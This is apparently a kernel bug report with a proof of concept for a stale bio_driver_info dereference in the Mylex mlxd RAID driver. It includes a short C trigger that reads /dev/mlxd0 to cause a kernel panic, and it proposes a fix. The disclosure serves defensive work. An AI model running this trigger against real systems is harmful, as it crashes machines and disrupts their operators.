# DF-2074 PoC — mlxd_strategy stale bio_driver_info deref

## Preconditions

1. Mylex DAC960/acceleRAID hardware present (mlxd child attached)
2. Local user with /dev/mlxd* access (root or operator group)

## Trigger

```c
/* cc -o mlxd_poc mlxd_poc.c */
#include <fcntl.h>
#include <unistd.h>
int main(void){
    char buf[512];
    /* Stress vnode I/O first to populate recycled pbuf bio_driver_info
     * with non-NULL stale pointers */
    int fd = open("/dev/mlxd0", O_RDONLY);
    if (fd < 0) return 1;
    read(fd, buf, sizeof buf);  /* -> wild deref -> kernel panic */
    return 0;
}
```

## Expected output

- **bio_driver_info == NULL:** every I/O fails EINVAL (driver non-functional)
- **bio_driver_info != NULL (stale vnode ptr):** kernel page fault in
  mlxd_strategy or mlx_startio (wild deref of sc->mlxd_drive at offset ~24)
- Reproduction is probabilistic; loop under concurrent FS load to hit non-NULL

## Fix

Source sc from dev->si_drv1 (set at mlxd_attach:260), then publish on
bio->bio_driver_info for controller start/complete paths — exactly as
amr_disk.c:172-179 does.